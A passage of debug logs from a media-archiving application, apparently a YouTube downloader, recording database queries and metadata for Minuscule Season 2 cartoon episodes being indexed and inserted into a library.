in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The wicked web / La toile infernale (Season 2)", "78527e6f-e78d-442e-b0c0-60b2f185f1ad", "stZl27m_rAs", 119, false, 5, "https://www.youtube.com/watch?v=stZl27m_rAs", 91, "/downloads/Miniscule Season 2/2020-06-11 Minuscule - The wicked web ⧸ La toile infernale (Season 2)/Minuscule - The wicked web ⧸ La toile infernale (Season 2) [stZl27m_rAs].mp4", false, false, false, [], 1, ~U[2020-06-11 14:30:10Z], ~U[2025-12-12 05:12:57Z], ~U[2025-12-12 05:12:57Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA spider weaves webs to catch a fly but it always gets through the threads. How will the spider finally catch the fly?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The wicked web / La toile infernale (Season 2)", "stZl27m_rAs", 119, false, 5, "https://www.youtube.com/watch?v=stZl27m_rAs", "/downloads/Miniscule Season 2/2020-06-11 Minuscule - The wicked web ⧸ La toile infernale (Season 2)/Minuscule - The wicked web ⧸ La toile infernale (Season 2) [stZl27m_rAs].mp4", false, ~U[2020-06-11 14:30:10Z]] 22:12:58.010 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=740.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:58.011 [debug] QUERY OK source="media_profiles" db=0.3ms idle=50.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:58.012 [debug] QUERY OK source="media_items" db=0.4ms idle=50.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89081] 22:12:58.012 [debug] Current batch of media processed. Will check again in 1000ms 22:12:59.013 [debug] Current batch of media processed. Will check again in 1000ms 22:13:00.014 [debug] Current batch of media processed. Will check again in 1000ms 22:13:00.540 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:01.015 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 111, "filename" => "/downloads/Miniscule Season 2/2020-06-04 Minuscule - At full speed ⧸ A pleine vitesse (Season 2)/Minuscule - At full speed ⧸ A pleine vitesse (Season 2) [j1ZKKf2vKuI].mp4", "id" => "j1ZKKf2vKuI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=j1ZKKf2vKuI", "playlist_index" => 92, "timestamp" => 1591281003, "title" => "Minuscule - At full speed / A pleine vitesse (Season 2)", "upload_date" => "20200604"} 22:13:01.016 [debug] QUERY OK source="sources" db=0.5ms idle=1844.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:01.017 [debug] QUERY OK source="sources" db=0.4ms idle=1845.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:01.019 [debug] QUERY OK source="media_items" db=1.1ms idle=1744.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-04 14:30:03Z], 5] 22:13:01.021 [debug] QUERY OK source="media_items" db=1.9ms idle=744.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - At full speed / A pleine vitesse (Season 2)", "6bbeeb85-249a-43f7-91fa-6c1709869fb1", "j1ZKKf2vKuI", 111, false, 5, "https://www.youtube.com/watch?v=j1ZKKf2vKuI", 92, "/downloads/Miniscule Season 2/2020-06-04 Minuscule - At full speed ⧸ A pleine vitesse (Season 2)/Minuscule - At full speed ⧸ A pleine vitesse (Season 2) [j1ZKKf2vKuI].mp4", false, false, false, [], 1, ~U[2020-06-04 14:30:03Z], ~U[2025-12-12 05:13:01Z], ~U[2025-12-12 05:13:01Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - At full speed / A pleine vitesse (Season 2)", "j1ZKKf2vKuI", 111, false, 5, "https://www.youtube.com/watch?v=j1ZKKf2vKuI", "/downloads/Miniscule Season 2/2020-06-04 Minuscule - At full speed ⧸ A pleine vitesse (Season 2)/Minuscule - At full speed ⧸ A pleine vitesse (Season 2) [j1ZKKf2vKuI].mp4", false, ~U[2020-06-04 14:30:03Z]] 22:13:01.022 [debug] QUERY OK source="sources" db=0.5ms idle=481.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:01.023 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:01.024 [debug] QUERY OK source="media_items" db=0.6ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89083] 22:13:01.025 [debug] Current batch of media processed. Will check again in 1000ms 22:13:02.026 [debug] Current batch of media processed. Will check again in 1000ms 22:13:03.027 [debug] Current batch of media processed. Will check again in 1000ms 22:13:04.028 [debug] Current batch of media processed. Will check again in 1000ms 22:13:05.029 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly enjoying a chocolate dessert is distracted from a spider that has eyes for this easy prey.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-05-28 Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2)/Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2) [zt7IK3-i-Rc].mp4", "id" => "zt7IK3-i-Rc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zt7IK3-i-Rc", "playlist_index" => 93, "timestamp" => 1590676207, "title" => "Minuscule - Chocolate fly / Mouche au chocolat (Season 2)", "upload_date" => "20200528"} 22:13:05.030 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=858.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:05.031 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=859.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:05.033 [debug] QUERY OK source="media_items" db=1.0ms idle=860.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-28 14:30:07Z], 5] 22:13:05.036 [debug] QUERY OK source="media_items" db=2.3ms idle=862.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly enjoying a chocolate dessert is distracted from a spider that has eyes for this easy prey.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chocolate fly / Mouche au chocolat (Season 2)", "f6b58fbd-6ca9-493b-aded-d74f2c0964d6", "zt7IK3-i-Rc", 119, false, 5, "https://www.youtube.com/watch?v=zt7IK3-i-Rc", 93, "/downloads/Miniscule Season 2/2020-05-28 Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2)/Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2) [zt7IK3-i-Rc].mp4", false, false, false, [], 1, ~U[2020-05-28 14:30:07Z], ~U[2025-12-12 05:13:05Z], ~U[2025-12-12 05:13:05Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA fly enjoying a chocolate dessert is distracted from a spider that has eyes for this easy prey.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chocolate fly / Mouche au chocolat (Season 2)", "zt7IK3-i-Rc", 119, false, 5, "https://www.youtube.com/watch?v=zt7IK3-i-Rc", "/downloads/Miniscule Season 2/2020-05-28 Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2)/Minuscule - Chocolate fly ⧸ Mouche au chocolat (Season 2) [zt7IK3-i-Rc].mp4", false, ~U[2020-05-28 14:30:07Z]] 22:13:05.037 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=753.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:05.038 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:05.039 [debug] QUERY OK source="media_items" db=0.6ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89085] 22:13:05.039 [debug] Current batch of media processed. Will check again in 1000ms 22:13:06.041 [debug] Current batch of media processed. Will check again in 1000ms 22:13:07.042 [debug] Current batch of media processed. Will check again in 1000ms 22:13:08.043 [debug] Current batch of media processed. Will check again in 1000ms 22:13:09.044 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 293, "filename" => "/downloads/Miniscule Season 2/2020-05-21 Minuscule - The vegetable garden ⧸ Topinambourg (Season 2)/Minuscule - The vegetable garden ⧸ Topinambourg (Season 2) [BnUtsMMfjWU].mp4", "id" => "BnUtsMMfjWU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BnUtsMMfjWU", "playlist_index" => 94, "timestamp" => 1590071403, "title" => "Minuscule - The vegetable garden / Topinambourg (Season 2)", "upload_date" => "20200521"} 22:13:09.045 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=873.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:09.046 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=874.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:09.048 [debug] QUERY OK source="media_items" db=1.1ms idle=875.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-21 14:30:03Z], 5] 22:13:09.051 [debug] QUERY OK source="media_items" db=2.1ms idle=877.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The vegetable garden / Topinambourg (Season 2)", "cbdd6a68-9d29-4192-bcc8-049baafa34d3", "BnUtsMMfjWU", 293, false, 5, "https://www.youtube.com/watch?v=BnUtsMMfjWU", 94, "/downloads/Miniscule Season 2/2020-05-21 Minuscule - The vegetable garden ⧸ Topinambourg (Season 2)/Minuscule - The vegetable garden ⧸ Topinambourg (Season 2) [BnUtsMMfjWU].mp4", false, false, false, [], 1, ~U[2020-05-21 14:30:03Z], ~U[2025-12-12 05:13:09Z], ~U[2025-12-12 05:13:09Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The vegetable garden / Topinambourg (Season 2)", "BnUtsMMfjWU", 293, false, 5, "https://www.youtube.com/watch?v=BnUtsMMfjWU", "/downloads/Miniscule Season 2/2020-05-21 Minuscule - The vegetable garden ⧸ Topinambourg (Season 2)/Minuscule - The vegetable garden ⧸ Topinambourg (Season 2) [BnUtsMMfjWU].mp4", false, ~U[2020-05-21 14:30:03Z]] 22:13:09.052 [debug] QUERY OK source="sources" db=0.5ms idle=759.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:09.052 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", 